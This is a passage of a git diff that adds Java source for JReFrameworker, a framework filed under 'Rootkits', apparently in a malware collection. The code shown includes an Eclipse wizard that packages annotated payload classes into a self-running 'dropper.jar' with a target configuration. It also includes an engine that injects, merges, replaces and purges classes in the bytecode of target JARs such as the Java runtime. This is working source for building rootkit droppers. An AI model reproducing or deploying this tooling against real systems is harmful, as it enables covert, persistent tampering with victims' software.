+ final FileDialog fileChooser = new FileDialog(container.getShell(), SWT.SAVE);
+ fileChooser.setFilterExtensions(new String[] { "*.jar" });
+ fileChooser.setFileName("dropper.jar");
+
+ Button browseButton = new Button(container, SWT.NONE);
+ browseButton.addSelectionListener(new SelectionAdapter() {
+ @Override
+ public void widgetSelected(SelectionEvent e) {
+ String path = fileChooser.open();
+ if (path != null){
+ jarPath = path;
+ setPageComplete(true);
+ }
+ dropperJarText.setText(jarPath);
+ }
+ });
+ browseButton.setText("Browse...");
+
+ setPageComplete(false);
+ }
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/ExportPayloadDropperWizard.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/ExportPayloadDropperWizard.java
new file mode 100644
index 0000000..47d30b5
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/ExportPayloadDropperWizard.java
@@ -0,0 +1,189 @@
+package com.jreframeworker.dropper.ui;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.lang.reflect.InvocationTargetException;
+import java.net.URI;
+import java.net.URL;
+import java.nio.file.Files;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+import javax.xml.parsers.ParserConfigurationException;
+import javax.xml.transform.TransformerException;
+
+import org.eclipse.core.resources.ResourcesPlugin;
+import org.eclipse.core.runtime.FileLocator;
+import org.eclipse.core.runtime.IProgressMonitor;
+import org.eclipse.jdt.core.ICompilationUnit;
+import org.eclipse.jface.dialogs.ProgressMonitorDialog;
+import org.eclipse.jface.operation.IRunnableWithProgress;
+import org.eclipse.jface.viewers.IStructuredSelection;
+import org.eclipse.jface.wizard.Wizard;
+import org.eclipse.swt.SWT;
+import org.eclipse.swt.widgets.Display;
+import org.eclipse.swt.widgets.MessageBox;
+import org.eclipse.swt.widgets.Shell;
+import org.eclipse.ui.IExportWizard;
+import org.eclipse.ui.IWorkbench;
+import org.eclipse.ui.PlatformUI;
+import org.objectweb.asm.tree.ClassNode;
+import org.xml.sax.SAXException;
+
+import com.jreframeworker.core.BuildFile;
+import com.jreframeworker.core.BuilderUtils;
+import com.jreframeworker.core.JReFrameworker;
+import com.jreframeworker.core.JReFrameworkerProject;
+import com.jreframeworker.core.BuildFile.LibraryTarget;
+import com.jreframeworker.core.BuildFile.RuntimeTarget;
+import com.jreframeworker.core.BuildFile.Target;
+import com.jreframeworker.dropper.Activator;
+import com.jreframeworker.dropper.Dropper;
+import com.jreframeworker.dropper.log.Log;
+import com.jreframeworker.engine.utils.BytecodeUtils;
+import com.jreframeworker.engine.utils.JarModifier;
+import com.jreframeworker.preferences.JReFrameworkerPreferences;
+
+public class ExportPayloadDropperWizard extends Wizard implements IExportWizard {
+
+ public static final String PAYLOAD_DROPPER = "dropper.jar";
+ public static final String EXPORT_PAYLOAD_DROPPER = "export" + File.separatorChar + PAYLOAD_DROPPER;
+
+ private SelectJReFrameworkerProjectPage page1;
+ private ExportPayloadDropperPage page2;
+
+ private File jReFrameworkerWorkspace = new File(ResourcesPlugin.getWorkspace().getRoot().getLocation().toFile().getAbsolutePath() + File.separatorChar + ".jreframeworker");
+ private File dropperJar = new File(jReFrameworkerWorkspace.getAbsolutePath() + File.separatorChar + PAYLOAD_DROPPER);
+
+ public ExportPayloadDropperWizard() throws Exception {
+ page1 = new SelectJReFrameworkerProjectPage("Select JReFrameworker Project");
+ page2 = new ExportPayloadDropperPage("Create Payload Dropper");
+ setWindowTitle("Create Payload Dropper");
+ }
+
+ @Override
+ public void init(IWorkbench workbench, IStructuredSelection selection) {}
+
+ @Override
+ public void addPages() {
+ this.addPage(page1);
+ this.addPage(page2);
+ }
+
+ @Override
+ public boolean performFinish() {
+ final File dropperFile = new File(page2.getJARPath());
+
+ IRunnableWithProgress j = new IRunnableWithProgress() {
+ @Override
+ public void run(IProgressMonitor monitor) {
+ try {
+ // make sure we have a fresh copy of the base dropper
+ if(dropperJar.exists()){
+ dropperJar.delete();
+ }
+
+ dropperJar.getParentFile().mkdirs();
+ URL fileURL = Activator.getDefault().getBundle().getEntry(JReFrameworker.EXPORT_DIRECTORY + "/" + PAYLOAD_DROPPER);
+ URL resolvedFileURL = FileLocator.toFileURL(fileURL);
+ // need to use the 3-arg constructor of URI in order to properly escape file system chars
+ URI resolvedURI = new URI(resolvedFileURL.getProtocol(), resolvedFileURL.getPath(), null);
+ InputStream dropperJarInputStream = resolvedURI.toURL().openConnection().getInputStream();
+ if(dropperJarInputStream == null){
+ throw new RuntimeException("Could not locate: " + PAYLOAD_DROPPER);
+ }
+ Files.copy(dropperJarInputStream, dropperJar.toPath());
+ JarModifier dropper = new JarModifier(dropperJar);
+
+ JReFrameworkerProject jrefProject = new JReFrameworkerProject(page1.getJReFrameworkerProject().getProject());
+
+ // add payloads
+ Set payloadClassNames = new HashSet();
+ ICompilationUnit[] compilationUnits = BuilderUtils.getSourceCompilationUnits(jrefProject.getJavaProject());
+ for(ICompilationUnit compilationUnit : compilationUnits){
+ File sourceFile = compilationUnit.getCorrespondingResource().getLocation().toFile().getCanonicalFile();
+ File classFile = BuilderUtils.getCorrespondingClassFile(jrefProject, sourceFile);
+ if(classFile.exists()){
+ if(!BuilderUtils.hasSevereProblems(compilationUnit)){
+ ClassNode classNode = BytecodeUtils.getClassNode(classFile);
+ if(BuilderUtils.hasTopLevelAnnotation(classNode)){
+ payloadClassNames.add(classFile.getName());
+ byte[] classFileBytes = Files.readAllBytes(classFile.toPath());
+ dropper.add(Dropper.PAYLOAD_DIRECTORY + "/" + classFile.getName(), classFileBytes, true);
+ }
+ }
+ }
+ }
+
+ // create dropper configuration file
+ BuildFile buildFile = jrefProject.getBuildFile();
+ Map configurations = new HashMap();
+ configurations.put(Dropper.MERGE_RENAME_PREFIX, JReFrameworkerPreferences.getMergeRenamingPrefix());
+ Dropper.Configuration dropperConfiguration = generateDropperConfiguration(buildFile, configurations, payloadClassNames);
+ dropper.add(Dropper.CONFIG_FILE, dropperConfiguration.getXML().getBytes(), true);
+
+ // set manifest
+ byte[] manifest = "Manifest-Version: 1.0\nClass-Path: .\nMain-Class: com.jreframeworker.dropper.Dropper\n\n\n".getBytes();
+ dropper.add("META-INF/MANIFEST.MF", manifest, true);
+
+ // export the dropper jar
+ dropper.save(dropperFile);
+
+ if(JReFrameworkerPreferences.isVerboseLoggingEnabled()){
+ Log.info("Exported payload dropper as " + dropperFile.getName());
+ }
+ } catch (Throwable t) {
+ final String message = "Could not create dropper JAR. " + t.getMessage();
+ Log.error(message, t);
+ Display.getDefault().asyncExec(new Runnable() {
+ public void run() {
+ int style = SWT.ICON_ERROR;
+ MessageBox messageBox = new MessageBox(Display.getDefault().getActiveShell(), style);
+ messageBox.setMessage(message);
+ messageBox.open();
+ }
+ });
+ } finally {
+ monitor.done();
+ }
+ }
+ };
+
+ Shell shell = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell();
+ ProgressMonitorDialog dialog = new ProgressMonitorDialog(shell);
+
+ try {
+ dialog.run(true, true, j);
+ } catch (InvocationTargetException e) {
+ e.printStackTrace();
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ return true;
+ }
+
+ private static Dropper.Configuration generateDropperConfiguration(BuildFile buildFile, Map configurations, Set payloadClassNames) throws TransformerException, ParserConfigurationException, SAXException, IOException {
+ Dropper.Configuration result = new Dropper.Configuration();
+
+ // add build targets
+ for(Target target : buildFile.getTargets()){
+ if(target instanceof RuntimeTarget){
+ result.runtimes.add(target.getName());
+ } else if(target instanceof LibraryTarget){
+ result.libraries.add(target.getName());
+ }
+ }
+
+ // add configurations
+ result.configurations.putAll(configurations);
+
+ // add the payload class names
+ result.payloadClassNames.addAll(payloadClassNames);
+
+ return result;
+ }
+
+}
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/SelectJReFrameworkerProjectPage.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/SelectJReFrameworkerProjectPage.java
new file mode 100644
index 0000000..9b1500b
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.dropper/src/com/jreframeworker/dropper/ui/SelectJReFrameworkerProjectPage.java
@@ -0,0 +1,75 @@
+package com.jreframeworker.dropper.ui;
+
+import java.util.LinkedList;
+
+import org.eclipse.jdt.core.IJavaProject;
+import org.eclipse.jface.wizard.WizardPage;
+import org.eclipse.swt.SWT;
+import org.eclipse.swt.events.SelectionAdapter;
+import org.eclipse.swt.events.SelectionEvent;
+import org.eclipse.swt.layout.GridData;
+import org.eclipse.swt.layout.GridLayout;
+import org.eclipse.swt.layout.RowLayout;
+import org.eclipse.swt.widgets.Button;
+import org.eclipse.swt.widgets.Composite;
+import org.eclipse.swt.widgets.Group;
+import org.eclipse.swt.widgets.Label;
+import org.eclipse.wb.swt.SWTResourceManager;
+
+import com.jreframeworker.core.JReFrameworker;
+
+public class SelectJReFrameworkerProjectPage extends WizardPage {
+
+ private IJavaProject jProject;
+
+ public IJavaProject getJReFrameworkerProject(){
+ return jProject;
+ }
+
+ protected SelectJReFrameworkerProjectPage(String pageName) {
+ super(pageName);
+ setTitle("Select JReFrameworker Project");
+ setPageComplete(false);
+ }
+
+ @Override
+ public void createControl(Composite parent) {
+ Composite container = new Composite(parent, SWT.NULL);
+ setControl(container);
+ container.setLayout(new GridLayout(1, false));
+
+ Group projectGroup = new Group(container, SWT.SHADOW_IN);
+ projectGroup.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1));
+ projectGroup.setText("JReFrameworker Projects");
+ projectGroup.setLayout(new RowLayout(SWT.VERTICAL));
+
+ Label errorLabel = new Label(container, SWT.NONE);
+ errorLabel.setForeground(SWTResourceManager.getColor(SWT.COLOR_DARK_RED));
+ errorLabel.setFont(SWTResourceManager.getFont(".SF NS Text", 11, SWT.BOLD));
+ errorLabel.setLayoutData(new GridData(SWT.CENTER, SWT.BOTTOM, true, true, 1, 1));
+
+ final LinkedList projects = JReFrameworker.getJReFrameworkerProjects();
+ if(projects.isEmpty()){
+ errorLabel.setText("No JReFrameworker Projects in Workspace!");
+ } else {
+ boolean first = true;
+ for(final IJavaProject project : projects){
+ Button projectButton = new Button(projectGroup, SWT.RADIO);
+ projectButton.setText(project.getProject().getName());
+ if(first){
+ jProject = project;
+ projectButton.setSelection(true);
+ setPageComplete(true);
+ first = false;
+ }
+ projectButton.addSelectionListener(new SelectionAdapter() {
+ @Override
+ public void widgetSelected(SelectionEvent e) {
+ jProject = project;
+ }
+ });
+ }
+ }
+ }
+
+}
\ No newline at end of file
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.classpath b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.classpath
new file mode 100644
index 0000000..39eccb0
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.classpath
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.gitignore b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.gitignore
new file mode 100644
index 0000000..ae3c172
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.gitignore
@@ -0,0 +1 @@
+/bin/
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.project b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.project
new file mode 100644
index 0000000..916fa44
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.project
@@ -0,0 +1,17 @@
+
+
+ com.jreframeworker.engine.core
+
+
+
+
+
+ org.eclipse.jdt.core.javabuilder
+
+
+
+
+
+ org.eclipse.jdt.core.javanature
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.settings/org.eclipse.jdt.core.prefs b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.settings/org.eclipse.jdt.core.prefs
new file mode 100644
index 0000000..3a21537
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/.settings/org.eclipse.jdt.core.prefs
@@ -0,0 +1,11 @@
+eclipse.preferences.version=1
+org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
+org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8
+org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
+org.eclipse.jdt.core.compiler.compliance=1.8
+org.eclipse.jdt.core.compiler.debug.lineNumber=generate
+org.eclipse.jdt.core.compiler.debug.localVariable=generate
+org.eclipse.jdt.core.compiler.debug.sourceFile=generate
+org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
+org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
+org.eclipse.jdt.core.compiler.source=1.8
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/build-engine.ant.xml b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/build-engine.ant.xml
new file mode 100644
index 0000000..fd7aa9b
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/build-engine.ant.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/Engine.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/Engine.java
new file mode 100644
index 0000000..8a46c5b
--- /dev/null
+++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/Engine.java
@@ -0,0 +1,842 @@
+package com.jreframeworker.engine;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.jar.JarException;
+
+import org.objectweb.asm.ClassReader;
+import org.objectweb.asm.ClassWriter;
+import org.objectweb.asm.Opcodes;
+import org.objectweb.asm.tree.AnnotationNode;
+import org.objectweb.asm.tree.ClassNode;
+import org.objectweb.asm.tree.FieldNode;
+import org.objectweb.asm.tree.InnerClassNode;
+import org.objectweb.asm.tree.MethodNode;
+
+import com.jreframeworker.engine.identifiers.BaseMethodsIdentifier;
+import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier;
+import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier.DefineFieldFinalityAnnotation;
+import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier.DefineMethodFinalityAnnotation;
+import com.jreframeworker.engine.identifiers.DefineFinalityIdentifier.DefineTypeFinalityAnnotation;
+import com.jreframeworker.engine.identifiers.DefineIdentifier;
+import com.jreframeworker.engine.identifiers.DefineIdentifier.DefineMethodAnnotation;
+import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier;
+import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.DefineFieldVisibilityAnnotation;
+import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.DefineMethodVisibilityAnnotation;
+import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.DefineTypeVisibilityAnnotation;
+import com.jreframeworker.engine.identifiers.DefineVisibilityIdentifier.Visibility;
+import com.jreframeworker.engine.identifiers.JREFAnnotationIdentifier;
+import com.jreframeworker.engine.identifiers.MergeIdentifier;
+import com.jreframeworker.engine.identifiers.MergeIdentifier.MergeMethodAnnotation;
+import com.jreframeworker.engine.identifiers.MergeIdentifier.MergeTypeAnnotation;
+import com.jreframeworker.engine.identifiers.PurgeIdentifier;
+import com.jreframeworker.engine.identifiers.PurgeIdentifier.PurgeFieldAnnotation;
+import com.jreframeworker.engine.identifiers.PurgeIdentifier.PurgeMethodAnnotation;
+import com.jreframeworker.engine.identifiers.PurgeIdentifier.PurgeTypeAnnotation;
+import com.jreframeworker.engine.log.Log;
+import com.jreframeworker.engine.utils.AnnotationUtils;
+import com.jreframeworker.engine.utils.BytecodeUtils;
+import com.jreframeworker.engine.utils.ClassLoaders;
+import com.jreframeworker.engine.utils.ClassLoadingClassWriter;
+import com.jreframeworker.engine.utils.JarModifier;
+
+public class Engine {
+
+ private String jarName;
+ private Set originalEntries;
+
+ @Override
+ public int hashCode() {
+ final int prime = 31;
+ int result = 1;
+ result = prime * result + ((jarName == null) ? 0 : jarName.hashCode());
+ return result;
+ }
+
+ @Override
+ public boolean equals(Object obj) {
+ if (this == obj)
+ return true;
+ if (obj == null)
+ return false;
+ if (getClass() != obj.getClass())
+ return false;
+ Engine other = (Engine) obj;
+ if (jarName == null) {
+ if (other.jarName != null)
+ return false;
+ } else if (!jarName.equals(other.jarName))
+ return false;
+ return true;
+ }
+
+ private String mergeRenamePrefix;
+ private JarModifier jarModifier;
+ private ClassLoader[] classLoaders = new ClassLoader[]{ getClass().getClassLoader() };
+
+ private static class Bytecode {
+ private byte[] bytecode;
+
+ public Bytecode(byte[] bytecode){
+ this.bytecode = bytecode;
+ }
+
+ public byte[] getBytecode(){
+ return bytecode;
+ }
+ }
+
+ private HashMap bytecodeCache = new HashMap();
+ private Set purgedEntries = new HashSet();
+
+ public String getJarName(){
+ return jarName;
+ }
+
+ public File getOriginalJar(){
+ return jarModifier.getJarFile();
+ }
+
+ public Set getOriginalEntries(){
+ return new HashSet(originalEntries);
+ }
+
+ public Set getModificationEntries(){
+ return new HashSet(bytecodeCache.keySet());
+ }
+
+ public Engine(File jar, String mergeRenamePrefix) throws JarException, IOException {
+ this.mergeRenamePrefix = mergeRenamePrefix;
+ this.jarModifier = new JarModifier(jar);
+ this.jarName = jar.getName();
+ this.originalEntries = new HashSet(jarModifier.getJarEntrySet());
+ }
+
+ public Engine(File jar, String mergeRenamePrefix, ClassLoader[] classLoaders) throws JarException, IOException {
+ this(jar, mergeRenamePrefix);
+ this.classLoaders = classLoaders;
+ }
+
+ public void setClassLoaders(ClassLoader... classLoaders){
+ this.classLoaders = classLoaders;
+ }
+
+ private ClassNode getBytecode(String entry) throws IOException {
+ return BytecodeUtils.getClassNode(getRawBytecode(entry));
+ }
+
+ private byte[] getRawBytecode(String entry) throws IOException {
+ if(bytecodeCache.containsKey(entry)){
+ return bytecodeCache.get(entry).getBytecode();
+ } else {
+ String qualifiedClassFilename = entry + ".class";
+ byte[] bytecode = jarModifier.extractEntry(qualifiedClassFilename);
+ bytecodeCache.put(entry, new Bytecode(bytecode));
+ return bytecode;
+ }
+ }
+
+ private void purgeBytecode(String entry){
+ bytecodeCache.remove(entry);
+ purgedEntries.add(entry);
+ }
+
+ private void updateBytecode(String entry, ClassNode classNode) throws IOException {
+ updateBytecode(entry, BytecodeUtils.writeClass(classNode));
+ }
+
+ private void updateBytecode(String entry, byte[] bytecode) throws IOException {
+ bytecodeCache.put(entry, new Bytecode(bytecode));
+ }
+
+// public void addUnprocessed(byte[] inputClass) throws IOException {
+// ClassNode classNode = BytecodeUtils.getClassNode(inputClass);
+// updateBytecode(classNode.name, inputClass);
+// }
+
+ public void addFile(String entry, byte[] contents, boolean overwrite) throws IOException {
+ jarModifier.add(entry, contents, overwrite);
+ }
+
+ public void addUnprocessed(byte[] inputClass, boolean overwrite) throws IOException {
+ ClassNode classNode = BytecodeUtils.getClassNode(inputClass);
+ String qualifiedClassName = classNode.name + ".class";
+ jarModifier.add(qualifiedClassName, inputClass, overwrite);
+ }
+
+ /**
+ * Process the annotations of the class for the given phase
+ * @param inputClass
+ * @param namedPhase
+ * @return
+ * @throws IOException
+ */
+ public boolean process(ClassNode inputClassNode, int phase) throws IOException {
+ byte[] inputClass = BytecodeUtils.writeClass(inputClassNode);
+ return process(inputClass, phase);
+ }
+
+ /**
+ * Process the annotations of the class for the given phase
+ * @param inputClass
+ * @param namedPhase
+ * @return
+ * @throws IOException
+ */
+ public boolean process(byte[] inputClass, int phase) throws IOException {
+ // set the ASM class loaders to be used to process this input
+ ClassLoaders.setClassLoaders(classLoaders);
+
+ boolean processed = false;
+ ClassNode classNode = BytecodeUtils.getClassNode(inputClass);
+
+ if(phase == -1){
+ Log.info("Processing input class: " + classNode.name + "...");
+ } else {
+ Log.info("Processing phase " + phase + " of input class: " + classNode.name + "...");
+ }
+
+ // make requested method and field purges
+ PurgeIdentifier purgeIdentifier = new PurgeIdentifier(classNode);
+ processed |= purge(purgeIdentifier, phase);
+
+ // set finality
+ DefineFinalityIdentifier defineFinalityIdentifier = new DefineFinalityIdentifier(classNode);
+ processed |= setFinality(defineFinalityIdentifier, phase);
+
+ // set visibility modifiers
+ DefineVisibilityIdentifier defineVisibilityIdentifier = new DefineVisibilityIdentifier(classNode);
+ processed |= setVisibility(defineVisibilityIdentifier, phase);
+
+ // TODO: address innerclasses, classNode.innerClasses, could these even be found from class files? they would be different files...
+ if(classNode.invisibleAnnotations != null){
+ for(Object annotationObject : classNode.invisibleAnnotations){
+ AnnotationNode annotationNode = (AnnotationNode) annotationObject;
+ JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier();
+ checker.visitAnnotation(annotationNode.desc, false);
+ String qualifiedClassName = classNode.name;
+ if(checker.isDefineTypeAnnotation()){
+ DefineIdentifier defineIdentifier = new DefineIdentifier(classNode);
+ if(phase == -1 || defineIdentifier.getDefineTypeAnnotation().getPhase() == phase){
+ String qualifiedClassFilename = qualifiedClassName + ".class";
+ if(jarModifier.getJarEntrySet().contains(qualifiedClassFilename)){
+ updateBytecode(classNode.name, inputClass);
+ Log.info("Replaced: " + qualifiedClassName + " in " + jarModifier.getJarFile().getName());
+ } else {
+ updateBytecode(classNode.name, inputClass);
+ Log.info("Inserted: " + qualifiedClassName + " into " + jarModifier.getJarFile().getName());
+ }
+ processed = true;
+ }
+ } else if(checker.isMergeTypeAnnotation()){
+ MergeIdentifier mergeIdentifier = new MergeIdentifier(classNode);
+ MergeTypeAnnotation mergeTypeAnnotation = mergeIdentifier.getMergeTypeAnnotation();
+ if(phase == -1 || mergeTypeAnnotation.getPhase() == phase){
+ String qualifiedParentClassName = mergeTypeAnnotation.getSupertype();
+ byte[] baseClass = getRawBytecode(qualifiedParentClassName);
+ byte[] mergedClass = mergeClasses(baseClass, inputClass);
+ updateBytecode(qualifiedParentClassName, mergedClass);
+ Log.info("Merged: " + qualifiedClassName + " into " + qualifiedParentClassName + " in " + jarModifier.getJarFile().getName());
+ processed = true;
+ }
+ }
+ }
+ }
+
+ return processed;
+ }
+
+ /**
+ * Process all annotations regardless of phase
+ * @param inputClass
+ * @return
+ * @throws IOException
+ */
+ public boolean process(byte[] inputClass) throws IOException {
+ return process(inputClass, -1);
+ }
+
+ private boolean purge(PurgeIdentifier purgeIdentifier, int phase) throws IOException {
+ boolean processed = false;
+ // purge types
+ for(PurgeTypeAnnotation purgeTypeAnnotation : purgeIdentifier.getPurgeTypeAnnotations()){
+ if(phase == -1 || purgeTypeAnnotation.getPhase() == phase){
+ String className = purgeTypeAnnotation.getClassName();
+ if(className.contains("$")){
+ // deal with outer class references to inner class files first
+ String baseClassName = className.substring(0, className.lastIndexOf("$"));
+ ClassNode baseClassNode = getBytecode(baseClassName);
+ List innerClassNodesToRemove = new LinkedList();
+ for(InnerClassNode innerClassNode : baseClassNode.innerClasses){
+ if(innerClassNode.name.equals(className)){
+ innerClassNodesToRemove.add(innerClassNode);
+ }
+ }
+ for(InnerClassNode innerClassNodeToRemove : innerClassNodesToRemove){
+ baseClassNode.innerClasses.remove(innerClassNodeToRemove);
+ Log.info("Purged " + baseClassName + " reference to " + innerClassNodeToRemove.name + " inner class.");
+ }
+ updateBytecode(baseClassName, BytecodeUtils.writeClass(baseClassNode));
+
+ // deal with the inner class file directly
+ String innerClassName = className;
+ purgeBytecode(innerClassName);
+ Log.info("Purged " + innerClassName + " inner class.");
+ processed = true;
+ } else {
+ // simple case no inner classes
+ ClassNode baseClassNode = getBytecode(className);
+ if(baseClassNode != null){
+ Log.info("Purged " + baseClassNode.name + " class.");
+ purgeBytecode(className);
+ processed = true;
+ } else {
+ Log.warning("Could not locate base class.", new RuntimeException("Missing base class"));
+ }
+ }
+ }
+ }
+ // purge methods
+ for(PurgeMethodAnnotation purgeMethodAnnotation : purgeIdentifier.getPurgeMethodAnnotations()){
+ if(phase == -1 || purgeMethodAnnotation.getPhase() == phase){
+ // final is not a valid modifier for initializers so no need to consider that case
+ String className = purgeMethodAnnotation.getClassName();
+ ClassNode classNode = getBytecode(className);
+ for (Object o : classNode.methods) {
+ MethodNode methodNode = (MethodNode) o;
+ if(methodNode.name.equals(purgeMethodAnnotation.getMethodName())){
+ ClassWriter classWriter = new ClassLoadingClassWriter(ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
+ PurgeAdapter purgeAdapter = new PurgeAdapter(classWriter, methodNode);
+ ClassReader purgedBaseClassReader = new ClassReader(BytecodeUtils.writeClass(classNode));
+ purgedBaseClassReader.accept(purgeAdapter, ClassReader.EXPAND_FRAMES);
+ byte[] purgedClassBytes = classWriter.toByteArray();
+ classNode = BytecodeUtils.getClassNode(purgedClassBytes);
+ updateBytecode(classNode.name, purgedClassBytes);
+ processed = true;
+
+ updateBytecode(className, classNode);
+ processed = true;
+
+ Log.info("Purged " + classNode.name + "." + methodNode.name + " method.");
+ processed = true;
+ }
+ }
+ }
+ }
+ // purge fields
+ for(PurgeFieldAnnotation purgeFieldAnnotation : purgeIdentifier.getPurgeFieldAnnotations()){
+ if(phase == -1 || purgeFieldAnnotation.getPhase() == phase){
+ String className = purgeFieldAnnotation.getClassName();
+ ClassNode classNode = getBytecode(className);
+ for (Object o : classNode.fields) {
+ FieldNode fieldNode = (FieldNode) o;
+ if(fieldNode.name.equals(purgeFieldAnnotation.getFieldName())){
+ ClassWriter classWriter = new ClassLoadingClassWriter(ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
+ PurgeAdapter purgeAdapter = new PurgeAdapter(classWriter, fieldNode);
+ ClassReader purgedBaseClassReader = new ClassReader(BytecodeUtils.writeClass(classNode));
+ purgedBaseClassReader.accept(purgeAdapter, ClassReader.EXPAND_FRAMES);
+ byte[] purgedClassBytes = classWriter.toByteArray();
+ classNode = BytecodeUtils.getClassNode(purgedClassBytes);
+ updateBytecode(classNode.name, purgedClassBytes);
+ processed = true;
+
+ updateBytecode(className, classNode);
+ processed = true;
+
+ Log.info("Purged " + classNode.name + "." + fieldNode.name + " field.");
+ break; // should only be one match
+ }
+ }
+ }
+ }
+ return processed;
+ }
+
+ @SuppressWarnings("unused")
+ private static String getAccessModifiers(int access){
+ LinkedList modifiers = new LinkedList();
+ if((Opcodes.ACC_ABSTRACT & access) == Opcodes.ACC_ABSTRACT){
+ modifiers.add("abstract");
+ }
+ if((Opcodes.ACC_ANNOTATION & access) == Opcodes.ACC_ANNOTATION){
+ modifiers.add("annotation");
+ }
+ if((Opcodes.ACC_BRIDGE & access) == Opcodes.ACC_BRIDGE){
+ modifiers.add("bridge");
+ }
+ if((Opcodes.ACC_DEPRECATED & access) == Opcodes.ACC_DEPRECATED){
+ modifiers.add("deprecated");
+ }
+ if((Opcodes.ACC_ENUM & access) == Opcodes.ACC_ENUM){
+ modifiers.add("enum");
+ }
+ if((Opcodes.ACC_FINAL & access) == Opcodes.ACC_FINAL){
+ modifiers.add("final");
+ }
+ if((Opcodes.ACC_INTERFACE & access) == Opcodes.ACC_INTERFACE){
+ modifiers.add("interface");
+ }
+ if((Opcodes.ACC_MANDATED & access) == Opcodes.ACC_MANDATED){
+ modifiers.add("mandated");
+ }
+ if((Opcodes.ACC_NATIVE & access) == Opcodes.ACC_NATIVE){
+ modifiers.add("native");
+ }
+ if((Opcodes.ACC_PRIVATE & access) == Opcodes.ACC_PRIVATE){
+ modifiers.add("private");
+ }
+ if((Opcodes.ACC_PROTECTED & access) == Opcodes.ACC_PROTECTED){
+ modifiers.add("protected");
+ }
+ if((Opcodes.ACC_PUBLIC & access) == Opcodes.ACC_PUBLIC){
+ modifiers.add("public");
+ }
+ if((Opcodes.ACC_STATIC & access) == Opcodes.ACC_STATIC){
+ modifiers.add("static");
+ }
+ if((Opcodes.ACC_STRICT & access) == Opcodes.ACC_STRICT){
+ modifiers.add("strict");
+ }
+ if((Opcodes.ACC_SUPER & access) == Opcodes.ACC_SUPER){
+ modifiers.add("super");
+ }
+ if((Opcodes.ACC_SYNCHRONIZED & access) == Opcodes.ACC_SYNCHRONIZED){
+ modifiers.add("synchronized");
+ }
+ if((Opcodes.ACC_SYNTHETIC & access) == Opcodes.ACC_SYNTHETIC){
+ modifiers.add("synthetic");
+ }
+ if((Opcodes.ACC_TRANSIENT & access) == Opcodes.ACC_TRANSIENT){
+ modifiers.add("transient");
+ }
+ if((Opcodes.ACC_VARARGS & access) == Opcodes.ACC_VARARGS){
+ modifiers.add("varargs");
+ }
+ if((Opcodes.ACC_VOLATILE & access) == Opcodes.ACC_VOLATILE){
+ modifiers.add("volatile");
+ }
+ return modifiers.toString();
+ }
+
+ /**
+ * Sets the access (visibility) modifiers for types, methods, and fields as defined by the annotation system
+ * @param defineVisibilityIdentifier
+ * @param phase
+ * @param runtimeModifications
+ * @throws IOException
+ */
